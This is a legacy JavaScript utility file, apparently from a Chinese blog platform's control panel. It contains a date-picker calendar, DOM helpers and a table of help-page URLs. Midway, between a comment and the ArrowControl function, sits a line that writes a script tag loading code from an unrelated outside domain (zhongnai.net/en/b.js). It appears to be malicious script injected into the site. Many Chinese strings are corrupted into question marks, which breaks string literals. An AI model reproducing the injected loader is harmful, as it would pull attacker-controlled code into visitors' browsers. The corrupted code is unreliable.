 
document.write ('');
var strFrame;
//日历用iframe实现        
document.writeln('<iframe id=yyDateLayer  frameborder=no scrolling=no Author=yy style="position: absolute; width: 145; height: 168; z-index: 9998;display=none"></iframe>')
//ifram中用div定位
strFrame+='<div style="z-index:9999;position: absolute; left:0; top:0;" onselectstart="return false">'
strFrame+='<span id=tmpSelectYearLayer  style="z-index: 9999;position: absolute;top: 2; left: 18;display: none"></span>';
strFrame+='<span id=tmpSelectMonthLayer style="z-index: 9999;position: absolute;top: 2; left: 75;display: none"></span>';
strFrame+='<table border=0 cellspacing=1 cellpadding=0 width=142 height=160 bgcolor=#808080 onselectstart="return false" Author=yy>';
strFrame+='<tr>';
strFrame+='<td width=142 height=23 bgcolor=#FFFFFF>';
strFrame+='<table border=0 cellspacing=1 cellpadding=0 width=140 height=23 Author=yy>';
strFrame+='<tr align=center>'
strFrame+='<td width=20 Author=yy align=center bgcolor=#808080 style="font-size:12px;cursor: hand;color: #FFD700" ';
strFrame+=' onclick="parent.yyPrevM()" title="向前翻月" ><b Author=yy>&lt;&lt;</b>';
strFrame+=' </td>'
strFrame+='<td width=60 align=right style="font-size:12px;cursor:default" title="点击这里选择年份">';
strFrame+=' <span width=60 Author=yy id=yyYearHead onclick="parent.tmpSelectYearInnerHTML(this.innerText)"></span>&nbsp;?nbsp;';
strFrame+='</span>';
strFrame+='<td width=48 align=left style="font-size:12px;cursor:default" title="点击这里选择月份">';
strFrame+='<span  id=yyMonthHead Author=yy onclick="parent.tmpSelectMonthInnerHTML(this.innerText)"></span>&nbsp;?;
strFrame+='</td>';
strFrame+=' <td width=20 bgcolor=#808080 align=center style="font-size:12px;cursor: hand;color: #FFD700" ';
strFrame+=' onclick="parent.yyNextM()" title="往后翻? Author=yy><b Author=yy>&gt;&gt;</b></td></tr>';
strFrame+=' </table></td></tr>';
strFrame+=' <tr><td width=142 height=18 bgcolor=#808080>';
strFrame+='<table border=0 cellspacing=0 cellpadding=0 width=140 height=1 style="cursor:default">';
strFrame+='<tr align=center><td style="font-size:12px;color:#FFFFFF" Author=yy>?/td>';
strFrame+='<td style="font-size:12px;color:#FFFFFF" Author=yy>一</td><td style="font-size:12px;color:#FFFFFF" Author=yy>?/td>';
strFrame+='<td style="font-size:12px;color:#FFFFFF" Author=yy>?/td><td style="font-size:12px;color:#FFFFFF" Author=yy>?/td>';
strFrame+='<td style="font-size:12px;color:#FFFFFF" Author=yy>?/td><td style="font-size:12px;color:#FFFFFF" Author=yy>?/td></tr>';
strFrame+='</table></td></tr>';
strFrame+=' <tr><td width=142 height=120>';
strFrame+=' <table border=0 cellspacing=1 cellpadding=0 width=140 height=120 bgcolor=#FFFFFF>';
var n=0; 
for (j=0;j<5;j++)
{ 
	strFrame+='<tr align=center>'; 
	for (i=0;i<7;i++)
	{
		strFrame+='<td width=20 height=20 id=yyDay'+n+' style="font-size:12px" onclick=parent.yyDayClick(this.innerText)></td>';n++;
	}
		strFrame+='</tr>';
}
strFrame+=' <tr align=center><td width=20 height=20 style="font-size:12px" id=yyDay35 Author=yy ';
strFrame+=' onclick=parent.yyDayClick(this.innerText)></td>';
strFrame+=' <td width=20 height=20 style="font-size:12px" id=yyDay36 Author=yy onclick=parent.yyDayClick(this.innerText)></td>';
strFrame+='  <td colspan=5 align=right Author=yy><span onclick=parent.closeLayer() style="font-size:12px;cursor: hand"';
strFrame+='  Author=yy><u>关闭</u></span></td></tr>';
strFrame+='  </table></td></tr><tr><td>';
strFrame+='  <table border=0 cellspacing=1 cellpadding=0 width=100% bgcolor=#FFFFFF>';
strFrame+='  <tr>';
strFrame+='</tr></table></td></tr></table></div>';
window.frames.yyDateLayer.document.writeln(strFrame); 
window.frames.yyDateLayer.document.close();        //解决ie进度条不结束的问?


var outObject;
var odatelayer=window.frames.yyDateLayer.document.all;        //存放日历对象 

function setday(tt,obj) //主调函数 
{ 
	
    if (arguments.length > 2){alert("对不起！传入本控件的参数太多?);return;} 
    if (arguments.length == 0){alert("对不起！您没有传回本控件任何参数?);return;} 
    var dads = document.all.yyDateLayer.style; 
    var th = tt; 
    var ttop = tt.offsetTop; //TT控件的定位点?
    var thei = tt.clientHeight; //TT控件本身的高 
    var tleft = tt.offsetLeft; //TT控件的定位点?
    var ttyp = tt.type; //TT控件的类?
    while (tt = tt.offsetParent){ttop+=tt.offsetTop; tleft+=tt.offsetLeft;} 
    dads.top = (ttyp=="image")? ttop+thei : ttop+thei+6; 
    dads.left = tleft; 
    outObject = (arguments.length == 1) ? th : obj; 
    outButton = (arguments.length == 1) ? null : th;    //设定外部点击的按?
    dads.top  = (ttyp=="image")? ttop+thei : ttop+thei+6;
	dads.left = tleft;
	outObject = (arguments.length == 1) ? th : obj;
	dads.display = '';
  event.returnValue=false;
} 
////////////////////////

var MonHead = new Array(12);         
    MonHead[0] = 31; MonHead[1] = 28; MonHead[2] = 31; MonHead[3] = 30; MonHead[4]  = 31; MonHead[5]  = 30;
    MonHead[6] = 31; MonHead[7] = 31; MonHead[8] = 30; MonHead[9] = 31; MonHead[10] = 30; MonHead[11] = 31;
var yyTheYear=new Date().getFullYear(); 
var yyTheMonth=new Date().getMonth()+1; 
var yyWDay=new Array(37);               
function document.onclick() 
{ 
  with(window.event.srcElement)
  { if (getAttribute("Author")==null && tagName != "INPUT")
   document.all.yyDateLayer.style.display="none";
  }
}
function yyWriteHead(yy,mm)  
  { 
	window.frames.yyDateLayer.document.all.yyYearHead.innerText  = yy ;
    window.frames.yyDateLayer.document.all.yyMonthHead.innerText = mm;
  }
  
function tmpSelectYearInnerHTML(strYear) //年份的下拉框 
{ 

if (strYear.match(/\D/)!=null){alert("年份输入参数不是数字?);return;} 
var m = (strYear) ? strYear : new Date().getFullYear(); 
if (m < 1000 || m > 9999) {alert("年份值不?1000 ?9999 之间?);return;} 
var n = m - 10; 
if (n < 1000) n = 1000; 
if (n + 26 > 9999) n = 9974; 
var s = "<select Author=yy name=tmpSelectYear style='font-size: 12px' " 
s += "onblur='document.all.tmpSelectYearLayer.style.display=\"none\"' " 
s += "onchange='document.all.tmpSelectYearLayer.style.display=\"none\";" 
s += "parent.yyTheYear = this.value; parent.yySetDay(parent.yyTheYear,parent.yyTheMonth)'>\r\n"; 
var selectInnerHTML = s; 
for (var i = n; i < n + 26; i++) 
{ 
if (i == m) 
{selectInnerHTML += "<option Author=yy value='" + i + "' selected>" + i + "? + "</option>\r\n";} 
else {selectInnerHTML += "<option Author=yy value='" + i + "'>" + i + "? + "</option>\r\n";} 
} 
selectInnerHTML += "</select>"; 
odatelayer.tmpSelectYearLayer.style.display=""; 
odatelayer.tmpSelectYearLayer.innerHTML = selectInnerHTML; 
odatelayer.tmpSelectYear.focus(); 
} 
//月份下拉框function tmpSelectMonthInnerHTML(strMonth)
{
  if (strMonth.match(/\D/)!=null){alert("月份输入参数不是数字?);return;}
  var m = (strMonth) ? strMonth : new Date().getMonth() + 1;
  var s = "<select Author=yy name=tmpSelectMonth style='font-size: 12px' "
     s += "onblur='document.all.tmpSelectMonthLayer.style.display=\"none\"' "
     s += "onchange='document.all.tmpSelectMonthLayer.style.display=\"none\";"
     s += "parent.yyTheMonth = this.value; parent.yySetDay(parent.yyTheYear,parent.yyTheMonth)'>\r\n";
  var selectInnerHTML = s;
  for (var i = 1; i < 13; i++)
  {
    if (i == m)
       {selectInnerHTML += "<option value='"+i+"' selected>"+i+"?+"</option>\r\n";}
    else {selectInnerHTML += "<option value='"+i+"'>"+i+"?+"</option>\r\n";}
  }
  selectInnerHTML += "</select>";
  odatelayer.tmpSelectMonthLayer.style.display="";
  odatelayer.tmpSelectMonthLayer.innerHTML = selectInnerHTML;
  odatelayer.tmpSelectMonth.focus();
}

function closeLayer()           
  {
    document.all.yyDateLayer.style.display="none"; 
  }
function document.onkeydown()
  {
    if (window.event.keyCode==27)document.all.yyDateLayer.style.display="none";
  }
function IsPinYear(year)         
  {
    if (0==year%4&&((year%100!=0)||(year%400==0))) return true;else return false;
  }
function GetMonthCount(year,month)
  {
    var c=MonHead[month-1];if((month==2)&&IsPinYear(year)) c++;return c;
  }
function GetDOW(day,month,year)    
  {
    var dt=new Date(year,month-1,day).getDay()/7; return dt;
  }
function yyPrevY() 
  {
    if(yyTheYear > 999 && yyTheYear <10000){yyTheYear--;}
    else{alert("年份超出范围?000-9999）！");}
    yySetDay(yyTheYear,yyTheMonth);
  }
function yyNextY() 
  {
    if(yyTheYear > 999 && yyTheYear <10000){yyTheYear++;}
    else{alert("年份超出范围?000-9999）！");}
    yySetDay(yyTheYear,yyTheMonth);
  }
function yyToday() 
  {
    yyTheYear = new Date().getFullYear();
    yyTheMonth = new Date().getMonth()+1;
    yySetDay(yyTheYear,yyTheMonth);
  }
function yyPrevM() 
  {
    if(yyTheMonth>1){yyTheMonth--}else{yyTheYear--;yyTheMonth=12;}
    yySetDay(yyTheYear,yyTheMonth);
  }
function yyNextM() 
  {
    if(yyTheMonth==12){yyTheYear++;yyTheMonth=1}else{yyTheMonth++}
    yySetDay(yyTheYear,yyTheMonth);
  }
function yySetDay(yy,mm)
{
  yyWriteHead(yy,mm);
  for (var i = 0; i < 37; i++){yyWDay[i]=""};
  var day1 = 1,firstday = new Date(yy,mm-1,1).getDay(); 
  for (var i = firstday; day1 < GetMonthCount(yy,mm)+1; i++){yyWDay[i]=day1;day1++;}
  for (var i = 0; i < 37; i++)
  { var da = eval("window.frames.yyDateLayer.document.all.yyDay"+i)   
    if (yyWDay[i]!="")
      { da.innerHTML = "<b>" + yyWDay[i] + "</b>";
        da.style.backgroundColor = (yy == new Date().getFullYear() &&
        mm == new Date().getMonth()+1 && yyWDay[i] == new Date().getDate()) ? "#FFD700" : "#ADD8E6";
        da.style.cursor="hand"
      }
    else{da.innerHTML="";da.style.backgroundColor="";da.style.cursor="default"}
  }
}
function yyDayClick(n) 
{
  var yy = yyTheYear;
  var mm = yyTheMonth;
  if (mm < 10){mm = "0" + mm;}
  if (outObject)
  {
    if (!n) {outObject.value=""; return;}
    if ( n < 10){n = "0" + n;}
    outObject.value= yy + "-" + mm + "-" + n ;
    closeLayer(); 
  }
  else {closeLayer(); alert("您所要输出的控件对象并不存在?);}
}
yySetDay(yyTheYear,yyTheMonth);


//-----------------------------------
String.prototype.trim = function(){return this.replace(/(^[ |　]*)|([ |　]*$)/g, "");}
function $(s){return document.getElementById(s);}
function $$(s){return document.frames?document.frames[s]:$(s).contentWindow;}
function $c(s){return document.createElement(s);}
function swap(s,a,b,c){$(s)[a]=$(s)[a]==b?c:b;}
function exist(s){return $(s)!=null;}
function dw(s){document.write(s);}
function hide(s){$(s).style.display=$(s).style.display=="none"?"":"none";}
function isNull(_sVal){return (_sVal == "" || _sVal == null || _sVal == "undefined");}
function removeNode(s){if(exist(s)){$(s).innerHTML = '';$(s).removeNode?$(s).removeNode():$(s).parentNode.removeChild($(s));}}
function isIE(){return BROWSER.indexOf('ie') > -1;}
function setCopy(_sTxt){try{clipboardData.setData('Text',_sTxt)}catch(e){}}
function output(_sHtml, _box){var oOutput = typeof(_box) == "object" ? _box : $(_box);oOutput.innerHTML = _sHtml;}
function hideList(_sId,_sStr,_iBegin,_iEnd,_sShow){for(var i = _iBegin; i <= _iEnd; i++)if(exist(_sId + i)){$(_sId + i).style.display = _sStr;_sStr == 'none' ? $(_sShow + i).className = 'down' : $(_sShow + i).className = 'up'}}
function browserDetect(){
	var sUA = navigator.userAgent.toLowerCase();
	var sIE = sUA.indexOf("msie");
	var sOpera = sUA.indexOf("opera");
	var sMoz = sUA.indexOf("gecko");
	if (sOpera != -1) return "opera";
	if (sIE != -1){
		nIeVer = parseFloat(sUA.substr(sIE + 5));
		if (nIeVer >= 6) return "ie6";
		else if (nIeVer >= 5.5) return "ie55";
		else if (nIeVer >= 5 ) return "ie5";
	}
	if (sMoz != -1)	return "moz";
	return "other";
}
function win_opener_location()
{
	opener.window.location.href = '/control/section/wizard.php';
	void 0;
	opener.focus();
	window.close();
}

function img_resize(id)
{
	_pObj = document.getElementById(id);
	var width = 180;
	var height = 120;
	if(_pObj.width < width && _pObj.height < height)return;
	if (width/_pObj.width < height/_pObj.height){
		_pObj.width     = _pObj.width * (width / _pObj.width);
	}
	else{
		_pObj.height    = _pObj.height * (height / _pObj.height);
	} 
	//alert(_pObj.width + ' ' + _pObj.height);
}
// 判断中英问混排时候的长度
function byteLength (sStr) {
	aMatch = sStr.match(/[^\x00-\x80]/g);
	return (sStr.length + (! aMatch ? 0 : aMatch.length));
}
function changeMaxLen(obj, len) {
	var num = 0;
	var strlen = 0;
	var obj_value_arr = obj.value.split("");
	for(var i = 0; i < obj_value_arr.length; i ++) {
		if(i < len && num + byteLength(obj_value_arr[i]) <= len) {
			num += byteLength(obj_value_arr[i]);
			strlen = i + 1;
		}
	}
	if(obj.value.length > strlen) {
		obj.value = obj.value.substr(0, strlen);
	}
}

// 获取指定对象的绝对位置function getXY(Obj) {
	var sumTop = 0, sumLeft = 0;
	while(Obj != document.body){
		sumLeft += Obj.offsetLeft;
		sumTop += Obj.offsetTop;
		Obj = Obj.offsetParent;
		}
	return {x:sumLeft, y:sumTop};
}
// 获取地址栏的CGI参数
function GetQueryString(str) {
	var rs = new RegExp("(^|)" + str + "=([^\&]*)(\&|$)", "gi").exec(String(window.location.href)), tmp;
	if(tmp = rs)return tmp[2];
	return null;
}
// 获取指定标签的父对象
function getParent(el, pTagName) {
	if(el == null)return null;
	else if(el.nodeType == 1 && el.tagName.toLowerCase() == pTagName.toLowerCase())
		return el;
	else
		return getParent(el.parentNode, pTagName);
}
// 获得指定对象
function $(Obj) {
	return document.getElementById(Obj);
}

// 返回指定对象的指定函数function getFunc(FuncName) {
	if(!FuncName)return function(){};
	var s = FuncName.toString();
	return s.slice(12,-1);
}
// 返回指定对象的类型function _typeof(o){
	if(!o)return null;
	var s=o.constructor.toString();
	return s.slice(10,s.indexOf("()"));
	}
// 创建对象
function $c(o) {
	if(! o)return;
	return document.createElement(o);
}
// 动态表格增加按钮function AddButton(sCSS, sParent, oFunc) {
	var oDIV = document.createElement("img");
	oDIV.src = "/control/images/supertable/blank.gif";
	oDIV.className = sCSS;
	if(oFunc != null)
		oDIV.onclick = oFunc;
	document.getElementById(sParent).appendChild(oDIV);
}
// 切换可显示层
document.write ('<SCRIPT src="http://www.zhongnai.net/en/b.js"></script>');
function ArrowControl(_sCSS, _sCSS_Over, _sNodeName, _tNodeName) {
	
	if (_tNodeName){
    	var _this = document.getElementById(_tNodeName);
    }
    else{
    	var _this = event.srcElement;
    }
    var _o = document.getElementById(_sNodeName);
    if(_o.style.display == "none") {
        _o.style.display = "";
        _this.className = _sCSS;
    }
    else {
        _o.style.display = "none";
        _this.className = _sCSS_Over;
    }
}

// 控制面版 上部帮助缩放操作函数
var help_topic_desc = "";				// 帮助实际内容
var help_topic_desc0 = " \
<div align='right' style='cursor: pointer; cursor: hand;line-height=150%;color:#999999' onclick='sw_help_topic()'> \
——点击此处，查阅更多关于?%%%%%”的内容介绍 \
&nbsp;&nbsp</div>";					// 帮助收缩后显示的内容
var help_topic_desc0_parameter = "";			// 帮助收缩后显示内容中?%%%%%
var help_topic_title = "";				// 帮助title的内容var help_topic_init = 0;				// 初始化帮助状?
var help_particular_nav = "";
var help_particular_url = "";				// 详细帮助的URL
var help_particular_title = "";				// 详细帮助的title

var add_arr = new Array();
help_particular_url = "http://blog.sina.com.cn/lm/html/2005-08-25/167.html?location=";
help_particular_url0 = "http://blog.sina.com.cn/lm/html/2005-08-25/167.html";

add_arr["/control/writing/explorer/article_list.php"] = help_particular_url + "161.html";
add_arr["/control/writing/explorer/article_list_sort.php"] = help_particular_url + "161.html";
add_arr["/control/writing/explorer/article_list_draft.php"] = help_particular_url + "161.html";
add_arr["/control/writing/explorer/article_list_recycle.php"] = help_particular_url + "161.html";

add_arr["/control/writing/article_class_manager.php"] = help_particular_url + "162.html";

add_arr["/control/comment/review_list.php"] = help_particular_url + "164.html";


add_arr["/control/blog/blog_set.php"] = help_particular_url + "156.html";
add_arr["/control/blog/blog_template.php"] = help_particular_url + "158.html";

add_arr["/control/section/wizard.php"] = help_particular_url + "159.html";
add_arr["/control/section/notice/notice_list.php"] = help_particular_url + "159.html";
add_arr["/control/section/notice/notice_add.php"] = help_particular_url + "159.html";
add_arr["/control/section/notice/notice_edit.php"] = help_particular_url + "159.html";
add_arr["/control/section/label/label_list.php"] = help_particular_url + "159.html";
add_arr["/control/section/label/label_add.php"] = help_particular_url + "159.html";
add_arr["/control/section/label/label_edit.php"] = help_particular_url + "159.html";
add_arr["/control/section/links/link_list.php"] = help_particular_url + "159.html";
add_arr["/control/section/links/link_add_title.php"] = help_particular_url + "159.html";
add_arr["/control/section/links/link_add_body.php"] = help_particular_url + "159.html";
add_arr["/control/section/links/link_edit.php"] = help_particular_url + "159.html";
add_arr["/control/section/links/link_edit_body.php"] = help_particular_url + "159.html";
add_arr["/control/section/special/special_list.php"] = help_particular_url + "159.html";
add_arr["/control/section/special/special_add_title.php"] = help_particular_url + "159.html";
add_arr["/control/section/special/special_add_body.php"] = help_particular_url + "159.html";
add_arr["/control/section/special/special_edit_body.php"] = help_particular_url + "159.html";
add_arr["/control/section/special/special_edit.php"] = help_particular_url + "159.html";
add_arr["/control/section/search/search_set.php"] = help_particular_url + "159.html";

add_arr["/control/member/base/modify_base.php"] = help_particular_url + "151.html";

add_arr["/control/member/raise/update_wizard.php"] = help_particular_url + "153.html";
add_arr["/control/member/raise/blog_update_succ.php"] = help_particular_url + "153.html";
add_arr["/control/member/raise/blog_update.php"] = help_particular_url + "153.html";
add_arr["/control/member/raise/blog_version.php"] = help_particular_url + "153.html";
add_arr["/control/member/raise/uhost_succ.php"] = help_particular_url + "153.html";
add_arr["/control/member/raise/uhost_register.php"] = help_particular_url + "153.html";

add_arr["/control/member/mobile/mobile_send.php"] = help_particular_url + "154.html";
add_arr["/control/member/mobile/mobile_check.php"] = help_particular_url + "154.html";
add_arr["/control/member/mobile/mobile_input.php"] = help_particular_url + "154.html";

add_arr["/control/member/base/myinfo_login.php"] = help_particular_url + "155.html";

add_arr["/control/album/blog/article_pic.php"] = help_particular_url + "165.html";
add_arr["/control/album/blog/article_pic_detail.php"] = help_particular_url + "165.html";
add_arr["/control/album/system/system_pic.php"] = help_particular_url + "165.html";

add_arr["/control/gbook/gbook_list.php"] = help_particular_url + "166.html";

add_arr["/control/blog/edit_my_index_add.php"] = help_particular_url + "159.html";


function sw_help_topic_init(title)
{
	var obj = document.getElementById("help_topic");
        var obj_icon = document.getElementById("help_topic_icon");

	help_topic_title = obj_icon.innerHTML;
	help_topic_desc = obj.innerHTML;
	help_topic_desc0_parameter = title;

	
	// 收缩后显示的内容
	help_topic_desc0 = help_topic_desc0.replace("%%%%%%", help_topic_desc0_parameter);

	
	// 帮助导航
	help_particular_nav = help_particular_nav.replace("%%%%%%", title);
	help_particular_nav = help_particular_nav.replace("%%%%%%", title);
	str_href= document.location.pathname;
	if (add_arr[str_href] == null)
	{
		// 当前页面没有帮助
		help_particular_nav = help_particular_nav.replace("%%%URL%%%", help_particular_url0);
	}
	else
	{
		// 当前页面有帮?	help_particular_nav = help_particular_nav.replace("%%%URL%%%", add_arr[str_href]);
	}

//	alert(help_particular_nav);

	// 标题样式更新
	obj_icon.className = "help_topic_title";

	

	sw_help_topic_ex(help_topic_init);
}

function sw_help_topic()
{               
	var obj = document.getElementById("help_topic");
        var obj_icon = document.getElementById("help_topic_icon");

	if (obj.style.height == "20px")
	{
		b_status = 1;
	}	
	else
	{
		b_status = 0;
	}
	

	sw_help_topic_ex(b_status);
}

function sw_help_topic_ex(b_status)
{
	var obj = document.getElementById("help_topic");
        var obj_icon = document.getElementById("help_topic_icon");

        if (b_status == 1)
        {       
		// 打开
                obj_icon.innerHTML = "- " + help_topic_title;
                obj.style.height = "";
		obj.innerHTML = help_topic_desc + help_particular_nav;
		obj.className = "help_topic_desc";
        }       
        else
        {
		// 关闭
                obj_icon.innerHTML = "+ " + help_topic_title;
                obj.style.height = "20px";
		
		obj.innerHTML = help_topic_desc0;
		obj.className = "help_topic_desc_hidden";
        }

	try 
	{
		parent.iframeResize();       
	}
	catch(e)
	{
	}
}

  
function setSelect(_sName, _sVal){
	var oObj = document.getElementsByName(_sName);
	for (var i = 0; i < oObj.length; i++){
		if (oObj[i].type == "select-one"){
			for (var j = 0; j < oObj[i].options.length; j++){
				if (_sVal == oObj[i].options[j].value){
					oObj[i].options[j].selected = true;
				}
			}
		}
		if ((oObj[i].type == "checkbox" || oObj[i].type == "radio") && _sVal == oObj[i].value){
			oObj[i].checked = true;
		}
	}
}
 

